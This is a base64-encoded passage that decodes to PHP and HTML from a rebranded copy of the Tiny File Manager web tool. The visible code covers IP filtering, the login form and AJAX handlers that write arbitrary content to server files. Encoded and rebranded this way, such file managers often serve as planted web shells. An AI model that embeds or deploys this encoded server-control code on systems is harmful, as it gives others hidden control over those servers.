ICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5f